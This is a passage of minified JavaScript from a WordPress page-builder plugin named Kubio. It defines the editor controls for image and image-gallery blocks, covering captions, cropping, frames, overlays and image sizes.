Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(De.BlockAlignmentToolbar,{value:o.align.value,onChange:o.align.onChange,controls:["none","left","center","right"]}))},kh=(e,t)=>!e&&Object(gd.isBlobURL)(t),Eh={width:null,height:null},fh=["url","alt","id","caption","captionEnabled","sizeSlug","link"],vh=Object(Me.compose)(Object(He.withColibriDataAutoSave)([th,(e,t)=>{const o=Object(tl.useInheritedTextAlign)(e);return Object(xe.useMemo)((()=>{const t={...e.useAttributes(fh),overlayEnabled:e.getStyle("background.overlay.enabled",!1,{styledComponent:Kd}),frameImage:e.getPropInMedia("frame"),useCustomDimensions:e.usePropPath("useCustomDimensions"),align:{value:e.getAttribute("align",o),onChange:t=>{const o=t||"none";e.setAttribute("align",o),e.setStyle("textAlign",o,{styledComponent:Yd})}}};return{...e.getAttributes(fh),maxWidth:e.getStyle("maxWidth",null,{styledComponent:$d}),maxHeight:e.getStyle("maxHeight",null,{styledComponent:$d}),withDataBinds:t,frameImageEnabledByMedia:e.getPropByMedia("frame.enabled",!1)}}),[e,o])}]),Object(He.withStyledElements)(Jd,(e=>{let{computed:t,isSelected:o,className:n}=e;const{url:a,width:l,height:r,align:i,alt:c,sizeSlug:s}=t;return{[Yd]:{className:()=>{const e=(e=>[`align-items-${e}`])(i);return $e()(n,{"is-transient":Object(gd.isBlobURL)(a),"is-resized":!!l||!!r,"is-focused":o,[`size-${s}`]:s},e)}},[$d]:{alt:c}}})),Le.withNotices)((e=>{const{computed:t,StyledElements:o,dataHelper:n,setAttributes:a,isSelected:l,insertBlocksAfter:r,onReplace:i,noticeUI:c,noticeOperations:s}=e,{url:u,align:p,width:b,height:m,maxWidth:d,maxHeight:h,caption:O,captionEnabled:g,alt:y,id:j,sizeSlug:k,link:E,overlayBackground:f,withDataBinds:v,frameImageEnabledByMedia:_}=t,C=new ih({colibriLink:E}),{linkDestination:I}=C.linkForGutenberg,[T,S]=(Object(Me.useViewportMatch)("medium"),Object(xe.useState)(!1)),[{naturalWidth:w,naturalHeight:P},A]=(Object(Be.includes)(["wide","full"],p),Object(xe.useState)({})),[B,N]=Object(xe.useState)(!1),x=Object(xe.useRef)(),[R,D]=Object(xe.useState)(Eh),L=Object(xe.useRef)();let{clientWidth:M,calculateClientWidth:W}=function(e){const[t,o]=Object(xe.useState)(),[n,a]=Object(xe.useState)(),l=Object(Me.useDebounce)(Object(xe.useCallback)((t=>{var n;e.current||t.disconnect(),void 0!==(null===(n=e.current)||void 0===n?void 0:n.clientWidth)&&o(e.current.clientWidth)}),[]),100);return Object(xe.useLayoutEffect)((()=>{if(!e.current)return;const t=new ResizeObserver((()=>l(t)));return t.observe(e.current),()=>{t.disconnect()}}),[]),Object(xe.useLayoutEffect)((()=>{a(t)}),[t]),{clientWidth:n,calculateClientWidth:l}}(L);const H=Object(Ve.useSelect)((e=>{const{getSettings:t}=e("core/block-editor");return t().mediaUpload}));function G(e){s.removeAllNotices(),s.createErrorNotice(e)}function U(e){if(!e||!e.url)return void n.setAttributes({url:"",alt:"",id:"",title:"",caption:""});let t,o=(e=>{const t=Object(Be.pick)(e,["alt","id","caption"]);return t.url=Object(Be.get)(e,["sizes",Ti,"url"])||Object(Be.get)(e,["media_details","sizes",Ti,"source_url"])||e.url,t})(e);kh(j,u)&&y&&(o=Object(Be.omit)(o,["alt"])),O&&!Object(Be.get)(o,["caption"])&&(o=Object(Be.omit)(o,["caption"])),t=e.id&&e.id===j?{url:u}:{sizeSlug:Ti},"media"===I&&(o.href=e.url),"attachment"===I&&(o.href=e.link),n.setAttributes({...o,...t})}function F(e){e!==u&&n.setAttributes({url:e,id:"",sizeSlug:Ti})}Object(xe.useEffect)((()=>{B&&N(!1)}),[d,h,k]);const z=kh(j,u);Object(xe.useEffect)((()=>{if(!z)return;const e=Object(gd.getBlobByURL)(u);e&&H({filesList:[e],onFileChange:e=>{let[t]=e;U(t)},allowedTypes:Ii,onError:e=>{s.createErrorNotice(e)}})}),[]),Object(xe.useEffect)((()=>{if(z)return()=>{Object(gd.revokeBlobURL)(u)}}),[z]);const V=((e,t)=>t&&!e&&!Object(gd.isBlobURL)(t))(j,u);Object(xe.useEffect)((()=>{V&&j&&n.setAttribute("id","")}),[V]);const Y=V?u:void 0,$=!!u&&Object(xe.createElement)("img",{alt:Object(We.__)("Edit image","kubio"),title:Object(We.__)("Edit image","kubio"),className:"edit-image-preview",src:u}),K=Object(xe.createElement)(De.MediaPlaceholder,{icon:Object(xe.createElement)(De.BlockIcon,{icon:la}),onSelect:U,onSelectURL:F,notices:c,onError:G,accept:"image/*",allowedTypes:Ii,value:{id:j,src:Y},mediaPreview:$,disableMediaButtons:u});function q(){const e=((e,t)=>{const{preview:o,name:n}=e,{url:a}=e.attributes;if(!a)return;const l=(e=>{for(const t of[...Dd,...Ld])if(zd(e,t.patterns))return t.name;return Wd})(a);if(Object(Ge.getBlockType)(l)){if(Hd!==n&&Wd!==l&&n!==l)return Object(Ge.createBlock)(l,{url:a});if(o){const{html:e}=o;if(Vd(e)&&Hd!==n)return Object(Ge.createBlock)(Hd,{url:a,...t})}}})({attributes:{url:u}});void 0!==e&&i(e)}function X(){T&&S(!1)}Object(xe.useEffect)((()=>{l?W():S(!1)}),[l]),Object(xe.useEffect)((()=>{l||N(!1)}),[l]);const Q=j&&w&&P,Z=Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(De.BlockControls,null,Q&&!B&&Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{onClick:function(){!function(){if(!d&&!h)return void D(Object(Be.cloneDeep)(Eh));const e=null==L?void 0:L.current;if(!e)return;const t=e.querySelector("img");if(!t)return;const o=t.width,n=t.height;D({width:o,height:n})}(),N(!0)},icon:yd,label:Object(We.__)("Crop","kubio")})),!B&&Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(De.MediaReplaceFlow,{mediaId:j,mediaURL:u,allowedTypes:Ii,accept:"image/*",onSelect:U,onSelectURL:F,onError:G})))),J=Object(xe.createElement)(De.MediaUploadCheck,null,Object(xe.createElement)(De.MediaUpload,{onSelect:U,allowedTypes:Ii,value:j,render:e=>{let{open:t}=e;return Object(xe.createElement)("span",{ref:x,onClick:t,className:"kubio-image-media-picker",role:"button",tabIndex:-1})}}));function ee(){const e=null==x?void 0:x.current;e&&e.click()}const te=Object(xe.createElement)(o.FrameImage,null),oe=Object(xe.createElement)(o.Overlay,null,Object(xe.createElement)(He.BackgroundOverlay,{value:f})),ne=Object(xe.useContext)(De.BlockList.__unstableElementContext),ae=null==ne?void 0:ne.ownerDocument,le=_[Object(He.useActiveMedia)()];let re,ie,ce=Object(xe.useMemo)((()=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.LinkWrapper,{link:E},Object(xe.createElement)(o.FrameContainer,{onDoubleClick:ee},v.overlayEnabled&&oe,Object(xe.createElement)(o.Image,{onClick:X,onError:q,onLoad:e=>{W(),A(Object(Be.pick)(e.target,["naturalWidth","naturalHeight"]))}}),le&&te)),J)),[u,v.overlayEnabled,le,f,v.frameImage]);if(M&&w&&P){const e=w>M;re=e?M:w,ie=e?M*(P/w):P}const se=e=>{let{nextWidth:t,nextHeight:o,...n}=e;a(n)};if(Q&&B){let e,t;null!=R&&R.width?(e=null==R?void 0:R.width,M=e):e=b&&"auto"!==b?b:re,t=null!=R&&R.height?null==R?void 0:R.height:m&&"auto"!==m?m:ie,ce=Object(xe.createElement)(yh,{id:j,url:u,setAttributes:se,naturalWidth:w,naturalHeight:P,width:e,height:t,clientWidth:e,setIsEditingImage:N,ownerDocument:ae,currentSlug:k})}const ue=Object(He.useBlockElementProps)(qd),pe=Object(He.useDebounce)(v.caption.onChange,100),be=Object(xe.createElement)(xe.Fragment,null,Z,Object(xe.createElement)(o.CaptionContainer,null,ce,(!De.RichText.isEmpty(O)||l)&&g&&Object(xe.createElement)(De.RichText,Object(ut.a)({},ue,{tagName:"figcaption",placeholder:Object(We.__)("Write caption…","kubio"),value:O,unstableOnFocus:function(){T||S(!0)},onChange:pe,isSelected:T,inlineToolbar:!0,__unstableOnSplitAtEnd:()=>r(Object(Ge.createBlock)("core/paragraph")),allowedFormats:He.allowedRichTextFormats}))));return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(jh,{computed:t}),Object(xe.createElement)(o.Outer,{ref:L},u&&be,K))})),_h=Object(He.withComputedData)((e=>{const t=Object(tl.useInheritedTextAlign)(),o=e.getAttribute("id");let n=Object(He.useImageSize)(o);n.length<1&&(n=[{value:"full",label:Object(We.__)("Full Size","kubio")}]);const a=Object(Ve.useSelect)((e=>{const{getMedia:t}=e("core");return o?t(o):null}),[o]),l=function(t){let o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};e.setAttribute("align",t,o),e.setStyle("textAlign",t,{styledComponent:Yd,...o})},r={value:e.getAttribute("align",t),onChange:l,onReset:()=>l("",{unset:!0})},i={value:e.getAttribute("sizeSlug"),onChange:t=>{const o=((e,t)=>Object(Be.get)(e,["media_details","sizes",t,"source_url"]))(a,t);if(!o)return null;e.setAttributes({url:o,sizeSlug:t})}},c=t=>({value:e.getStyle(t,null,{styledComponent:$d}),onReset:()=>{e.setStyle(t,Fe.UNSET_VALUE,{styledComponent:$d}),e.setStyle(t,Fe.UNSET_VALUE,{styledComponent:Qd})},onChange:o=>{e.setStyle(t,o,{styledComponent:$d}),e.setStyle(t,o,{styledComponent:Qd})}}),s=c("maxWidth"),u=c("maxHeight");return{url:e.getAttribute("url"),caption:e.getAttribute("caption"),captionEnabled:e.getAttribute("captionEnabled"),captionProperties:(()=>{const t=e.getAttribute("caption",null);return{value:Object(Be.unescape)(t),onChange:t=>{e.setAttribute("caption",Object(Be.escape)(t))}}})(),imageSizeOptions:n,onImageChange:t=>{const{url:o,caption:n,id:a}=t;e.setAttributes({url:o,caption:n,id:a,sizeSlug:Ti})},align:r,sizeSlug:i,maxHeight:u,maxWidth:s}}))((e=>{let{computed:t,...o}=e;const{captionProperties:n,url:a,captionEnabled:l,onImageChange:r,imageSizeOptions:i,align:c,sizeSlug:s,maxWidth:u,maxHeight:p}=t,{clientData:b}=o;return He.WithDataPathTypes.STYLE,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Image Properties","kubio")},Object(xe.createElement)(Re.MediaPicker,{label:Object(We.__)("Image","kubio"),value:a,onChange:r,showButton:!0,buttonLabel:Object(We.__)("Change image","kubio"),mediaId:b.attributes.id}),Object(xe.createElement)(Re.HorizontalTextAlign,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio")},c)),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Show caption","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"captionEnabled"}),l&&Object(xe.createElement)(Re.InputControl,Object(ut.a)({label:Object(We.__)("Caption","kubio")},n)),Object(xe.createElement)(Re.TextareaControlWithPath,{path:"alt",type:He.WithDataPathTypes.ATTRIBUTE,label:Object(We.__)("Alt text","kubio")}),Object(xe.createElement)(Le.Flex,{justify:"space-between",expanded:!0},Object(xe.createElement)(Le.FlexItem,{className:"image-size-row-dropdown"},Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Image size","kubio")},s,{options:i}))),Object(xe.createElement)(Le.FlexItem,{className:"image-size-row-cog"},Object(xe.createElement)(Re.PopoverOptionsButton,{label:"",popoverWidth:250,popupContent:Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)("div",{className:"h-dummy-focus-control"},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Re.ToggleControl,null),Object(xe.createElement)(Le.BaseControl,null))),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Max width","kubio"),max:500,capMin:!0,units:["px"]},u)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Max height","kubio"),path:"maxWidth",max:500,capMin:!0,units:["px"]},p)))}))),Object(xe.createElement)(Re.LinkControlWithData,null))}));var Ch=_h;const Ih=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Ch,null)),Th=Object(He.withComputedData)((e=>({dataHelper:e})))((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:props;const t={type:He.WithDataPathTypes.STYLE,style:$d};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Image","kubio")},Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Opacity","kubio"),path:"opacity",capMin:!0,capMax:!0,defaultUnit:"",defaultValue:{value:1}},ch.opacityOptions,t)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({path:"boxShadow"},t)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},t,{style:[$d,Xd,Kd]})))}));var Sh=Th,wh=Object(He.withComputedData)((e=>{const t=Object(tl.useInheritedTextAlign)();return{defaultTextAlign:e.getStyle("textAlign",t,{styledElement:Yd}),captionEnabled:e.getAttribute("captionEnabled")}}))((e=>{let{computed:t}=e;const{captionEnabled:o,defaultTextAlign:n}=t,a={type:He.WithDataPathTypes.STYLE,style:qd},l=Object(tl.useInheritedTypographyValue)("p","color");return o&&Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Caption","kubio"),initialOpen:!1},Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({path:"textAlign",label:Object(We.__)("Text align","kubio"),useContentAlignIcons:!1,defaultValue:n},a)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",defaultValue:l},a)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},a)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Space","kubio"),path:"margin.top",capMax:!1,min:0,max:50},a)))}));const Ph={styledComponent:Xd},Ah=(e,t,o)=>{const n={};["left","right","bottom","top"].forEach((o=>{Ne.a.set(n,`${o}.${e}`,t)})),o.setStyle("border",n,Ph)},Bh=e=>{let{computed:t}=e;const{width:o,height:n,frameTypeIs:a,frameOverImage:l,frameType:r,color:i,offsetLeft:c,offsetTop:s,frameThickness:u,dataHelper:p,isOnDesktop:b}=t,m={type:He.WithDataPathTypes.STYLE,style:Xd};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Type","kubio")},r,{disabled:!b,options:ch.frameTypeOptions})),Object(xe.createElement)(Re.ColorIndicatorPopover,Object(ut.a)({label:Object(We.__)("Color","kubio"),showReset:!0},i)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Width","kubio"),path:"width",defaultUnit:"%"},ch.procentUnitsOptions,m,o)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Height","kubio"),path:"height",defaultUnit:"%"},ch.procentUnitsOptions,m,n)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Offset left","kubio")},ch.frameOffsetTransformOptions,c)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Offset top","kubio")},ch.frameOffsetTransformOptions,s)),a.border&&Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Frame thickness","kubio"),path:["border.top.width","border.right.width","border.bottom.width","border.left.width"]},ch.frameThicknessOptions,m,u)),Object(xe.createElement)(Le.ToggleControl,{className:"kubio-toggle-control",label:Object(We.__)("Show frame over image","kubio"),checked:l.value,onChange:l.onChange}),Object(xe.createElement)(Re.BoxShadowPopupWithPath,Object(ut.a)({label:Object(We.__)("Show frame shadow","kubio"),path:"boxShadow",allowInset:!0,showReset:!1,dataHelper:p},m)))};var Nh=Object(He.withComputedData)((e=>{var t;const o="desktop"===Object(He.useActiveMedia)(),n=Object(He.useTransformStyle)(e),a=d("transform.translate[0].value"),l=n.useStylePath("transform.translate.x",{unsetValue:a,styledComponent:Xd}),r=n.useStylePath("transform.translate.y",{unsetValue:a,styledComponent:Xd}),i=e.usePropPath("frame",{},"border"),c={onChange:t=>{switch(e.setProp("frame.type",t),t){case ch.frameTypeValues.BORDER:const t=e.getStyle("background.color","",Ph);Ah("color",t,e),Ah("style","solid",e),e.setStyle("background.color","transparent",Ph);break;case ch.frameTypeValues.BACKGROUND:Ah("style","none",e);const o=e.getStyle("border.top.color","",Ph);e.setStyle("background.color",o,Ph)}},value:null===(t=i.value)||void 0===t?void 0:t.type},s=ch.frameTypeValues,u={background:s.BACKGROUND===c.value,border:s.BORDER===c.value};let p="";p=u.background?e.getStyle("background.color","",Ph):e.getStyle("border.top.color","",Ph);const b={value:p,onChange:t=>{u.border?Ah("color",t,e):e.setStyle("background.color",t,Ph)},onReset:()=>{if(u.border){const t=d("border.top.color");Ah("color",t,e)}else{const t=d("background.color");e.setStyle("background.color",t,Ph)}}},m={value:e.getPropInMedia("frame.showFrameOverImage",!1),onChange:t=>{e.setPropInMedia("frame.showFrameOverImage",t),t?e.setStyle("zIndex",1,Ph):e.setStyle("zIndex",-1,Ph)}};function d(e){return Ne.a.get(cn.types.props.frameImage.default,`style.descendants.frameImage.${e}`)}const h={value:e.getPropInMedia("frame.enabled"),onChange:t=>{t&&null===e.getStyle("zIndex",null,{...Ph})&&e.mergeInMainAttribute(cn.types.props.frameImage.default),e.setPropInMedia("frame.enabled",t)}};return{width:{onReset:()=>{e.setStyle("width",d("width"),Ph)}},height:{onReset:()=>{e.setStyle("height",d("height"),Ph)}},color:b,frameOverImage:m,frameTypeIs:u,frameEnabled:h,frameType:c,frame:i,offsetLeft:l,offsetTop:r,frameThickness:{onReset:()=>{Ah("width",d("border.top.width"),e)}},dataHelper:e,isOnDesktop:o}}))((e=>{var t;const o=null==e||null===(t=e.computed)||void 0===t?void 0:t.frameEnabled,{uiVersion:n}=Object(qe.useUIVersion)();return Object(xe.createElement)(Re.PopoverOptionsButton,{label:Object(We.__)("Frame options","kubio"),toggable:!0,position:2===n?"middle right":"middle left",onToggleChange:o.onChange,enabled:!!o.value,popoverWidth:280,popupContent:Object(xe.createElement)(Bh,e)})}));const xh=cn.Styles.background,Rh={media:"desktop",styledComponent:Kd,mergeData:!1};Object(He.withComputedData)((e=>{const t=e.getStyle("background",{},Rh);return{background:Ne.a.merge({},xh.default,t),updateBackground:(t,o)=>{const n=e.getStyle("background",{},Rh),a=Ne.a.set({},t,o),l=Ne.a.merge({},n,a);e.setStyle("background",l,Rh)},onReset:t=>{const o=e.getStyle("background",{},Rh);Ne.a.unset(o,t),e.setStyle("background",o,Rh)}}}))((e=>{let{computed:t,...o}=e;const{background:n,updateBackground:a,onReset:l}=t;return Object(xe.createElement)(Re.OverlayControl,Object(ut.a)({localValue:n,updateState:Ne.a.noop,updateValue:a,onReset:l},o))}));const Dh={source:"image",content:"effects"};var Lh=()=>Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Effect options","kubio"),initialOpen:!1},Object(xe.createElement)(Nh,null),Object(xe.createElement)(ji.AvailableInPro,{displayModal:!1,urlArgs:Dh}));const Mh=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Sh,null),Object(xe.createElement)(wh,null),Object(xe.createElement)(Lh,null));var Wh=Object(He.withPropsChecker)((e=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Ih,null),Object(xe.createElement)(Mh,null),Object(xe.createElement)(vh,e))));const Hh={name:"kubio/image",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow",lightboxMedia:""}},align:{type:"string"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",source:"html",default:""},captionEnabled:{type:"boolean",default:!1},title:{type:"string"},id:{type:"number"},sizeSlug:{type:"string",default:"large"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},default:{props:{useCustomDimensions:!1,frame:{enabled:!1,type:"background",showFrameOverImage:!1}}},elementsEnum:{OUTER:"outer",IMAGE:"image",OVERLAY:"overlay",CAPTION:"caption",CAPTION_CONTAINER:"captionContainer",FRAME_IMAGE:"frameImage",FRAME_CONTAINER:"frameContainer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{tag:"figure"}},image:{props:{tag:"img",className:["d-flex"]}},caption:{props:{tag:"figcaption"}},frameImage:{props:{className:[]}},frameContainer:{},overlay:{supports:{background:!0}},captionContainer:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"captionContainer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"frameContainer"},children:[{type:"element",props:{name:"overlay",shouldRender:"computed.showOverlay"},children:[{type:"background"}]},{type:"element",props:{name:"image"}},{type:"element",props:{name:"frameImage",shouldRender:"computed.showFrameImage"}}]}]},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}}]}]}}}},Gh=Object(nn.extendBlockMeta)(Hh,{title:Object(We.__)("Image","kubio"),description:Object(We.__)("Add images with styled borders and shadows. You can add frames and effects to them for a more appealing look.","kubio"),icon:on.BlockIcons.Image,keywords:[Object(We.__)("img","kubio"),Object(We.__)("image","kubio"),Object(We.__)("photo","kubio"),Object(We.__)("picture","kubio")],attributes:{},apiVersion:2,supports:{kubio:{elementsByName:Zd,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},__experimentalLabel(e,t){let{context:o}=t;if("accessibility"===o){const{caption:t,alt:o,url:n}=e;return n?o?o+(t?". "+t:""):t||"":Object(We.__)("Empty","kubio")}},edit:Wh,save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.caption})}}),Uh=["image"],Fh=[{value:"thumbnail",label:Object(We.__)("Thumbnail","kubio")},{value:"medium",label:Object(We.__)("Medium","kubio")},{value:"large",label:Object(We.__)("Large","kubio")},{value:"full",label:Object(We.__)("Full size","kubio")},{value:"kubio-fullhd",label:Object(We.__)("Full HD","kubio")}],zh=[{value:"none",label:Object(We.__)("None","kubio")},{value:"lightbox",label:Object(We.__)("Lightbox","kubio")},{value:"media",label:Object(We.__)("Link to media","kubio")},{value:"link",label:Object(We.__)("Link to attachment page","kubio")}],Vh="over",Yh="over_on_hover",$h=[{value:"below",label:Object(We.__)("Below image","kubio")},{value:Vh,label:Object(We.__)("Over image","kubio")},{value:Yh,label:Object(We.__)("Over image on hover","kubio")}],Kh=(Object(We.__)("Top","kubio"),Object(We.__)("Middle","kubio"),Object(We.__)("Bottom","kubio"),{blur:"blur",zoom:"zoom",fadeIn:"fadeIn",fadeOut:"fadeOut",glow:"glow",color:"color",grayscale:"grayscale",addOverlay:"addOverlay",removeOverlay:"removeOverlay"}),qh=[{value:Kh.blur,label:Object(We.__)("Blur","kubio")},{value:Kh.zoom,label:Object(We.__)("Zoom","kubio")},{value:Kh.fadeIn,label:Object(We.__)("Fade In","kubio")},{value:Kh.fadeOut,label:Object(We.__)("Fade Out","kubio")},{value:Kh.glow,label:Object(We.__)("Glow","kubio")},{value:Kh.color,label:Object(We.__)("Color","kubio")},{value:Kh.grayscale,label:Object(We.__)("Grayscale","kubio")},{value:Kh.addOverlay,label:Object(We.__)("Add Overlay","kubio")},{value:Kh.removeOverlay,label:Object(We.__)("Remove Overlay","kubio")}],Xh="gallery",Qh="image-container",Zh="image",Jh="caption",eO={["container"]:{label:Object(We.__)("Gallery","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.NONE}},[Qh]:{label:Object(We.__)("Image Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[Zh]:{label:Object(We.__)("Image","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[Jh]:{label:Object(We.__)("Caption","kubio"),tag:"figcaption",supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}}},tO=(e,t)=>{const{replaceInnerBlocks:o,getSize:n,clientId:a}=t;if(e.length<0)return;const l=n(),r=e.map((e=>{if(void 0===e)return null;const{url:t,sizes:o,caption:n,alt:a,id:r}=e;let i=t;return o&&void 0!==o[l]&&(i=o[l].url),o&&void 0===i&&(i=o[l].source_url),Object(He.createBlockWithDataHelper)(Yo.IMAGE_GALLERY_ITEM,(e=>{e.setAttributes({id:r,caption:n,url:i,alt:a})}))}));Array.isArray(r)&&o(a,r,!1)},oO=[Yo.IMAGE_GALLERY_ITEM],nO=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{const{clientId:o}=t,{getBlockOrder:n}=e("core/block-editor");return{galleryHasImages:n(o).length>0}})),Object(Ve.withDispatch)((e=>{const{replaceInnerBlocks:t}=e("core/block-editor");return{replaceInnerBlocks:t}})),Object(He.withActiveMedia)(),Object(He.withColibriDataAutoSave)(((e,t)=>{const{clientId:o,replaceInnerBlocks:n}=t,a=e.getPropInMedia("columns",e.getProp("columns"),{media:t.activeMedia}),l=e.getAttribute("imagesData"),r=e.getProp("showMasonry"),i=e.getStyle("gridGap"),c=e.getAttribute("size"),s=e.getProp("caption"),u=e.getProp("hoverEffect"),p=()=>c;return{masonry:r,columns:a,gridGap:i,caption:s,hoverEffect:u,onSelect:t=>{e.setAttribute("imagesData",t),tO(t,{replaceInnerBlocks:n,getSize:p,clientId:o})},imagesData:l}})),Object(He.withStyledElements)((e=>{let{computed:t}=e;const{masonry:o,columns:n,caption:a,hoverEffect:l}=t,r=$e()("image-gallery-grid__col-"+n,{["hover-effect--"+(null==l?void 0:l.type)]:null==l?void 0:l.enabled,["caption--"+(null==a?void 0:a.verticalAlign)]:null==a?void 0:a.enabled,["caption-position--"+(null==a?void 0:a.position)]:null==a?void 0:a.enabled,"wp-block-kubio-image-gallery_masonry":!o,"wp-block-kubio-image-gallery_classic":!o});return{[Xh]:{className:r}}})))((e=>{const{computed:t,StyledElements:o,galleryHasImages:n,clientId:a}=e,{masonry:l,gridGap:r,onSelect:i}=t,c=Object(xe.useRef)(),{getFrontendComponentFunction:s}=Object(He.useFrontEndComponent)({clientId:a,ref:c,componentName:"imageGallery"}),u=s("restartMasonry",500),p=s("stopMasonry",100),b=Object(He.useJSComponentProps)("image-gallery",{showMasonry:l,gridGap:null==r?void 0:r.value});Object(xe.useLayoutEffect)((()=>{l?u():p()}),[l,u,e.attributes,p]);const m=$o({...b,ref:c},{templateLock:"all",renderAppender:!1,allowedBlocks:oO});return Object(xe.createElement)(o.Container,null,n?Object(xe.createElement)(o.Gallery,m):Object(xe.createElement)(De.MediaPlaceholder,{labels:{title:Object(We.__)("Gallery","kubio"),instructions:Object(We.__)("Drag images, upload new ones or select files from your library.","kubio")},icon:Object(xe.createElement)(De.BlockIcon,{icon:on.BlockIcons.ImageGallery}),onSelect:i,accept:"image/*",allowedTypes:Uh,multiple:!0}))})),aO=Object(Me.compose)(Object(Ve.withSelect)((e=>{const{getMedia:t,getEntityRecords:o,isResolving:n,hasFinishedResolution:a}=e("core");return{getMedia:t,getEntityRecords:o,isResolving:n,hasFinishedResolution:a,getImages:e=>o(...e)}})),Object(He.withComputedData)(((e,t)=>{const{getImages:o}=t,{clientId:n}=e,a=e.getProp("caption"),{replaceInnerBlocks:l}=Object(Ve.useDispatch)("core/block-editor"),r=()=>e.getAttribute("size"),i=t=>{e.setAttribute("imagesData",t),tO(t,{replaceInnerBlocks:l,getSize:r,clientId:n})},c={value:e.getAttribute("size"),onChange:t=>{e.setAttribute("size",t);const n=(()=>{const t=["postType","attachment",{include:e.withChildren().map((e=>e.getAttribute("id"))).join(","),_fields:"id,source_url,media_details"}],n=o(t),a=e.getAttribute("imagesData");if(null===n)return a;const l=[];return a.forEach(((e,t)=>{const o=e.id,a=n.find((e=>o===e.id));l[t]={...e,...a}})),l.map((e=>{var t;return{id:e.id,url:null!=e&&e.source_url?null==e?void 0:e.source_url:null==e?void 0:e.url,sizes:null==e||null===(t=e.media_details)||void 0===t?void 0:t.sizes,caption:null==e?void 0:e.caption}}))})();n&&i(n)}},s=e.withChildren().map((e=>e.getAttribute("id")));return{caption:a,onSelect:i,imagesIds:s,sizeProps:c}})))((e=>{let{computed:t}=e;const{onSelect:o,caption:n,imagesIds:a,sizeProps:l}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Gallery Properties","kubio")},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(De.MediaUploadCheck,null,Object(xe.createElement)(De.MediaUpload,{onSelect:o,allowedTypes:Uh,accept:"image/*",multiple:!0,gallery:!0,value:a,render:e=>{let{open:t}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.Button,{isPrimary:!0,onClick:t,className:"kubio-button-100"},Object(We.__)("Manage images","kubio")))}}))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithPath,{label:Object(We.__)("Number of 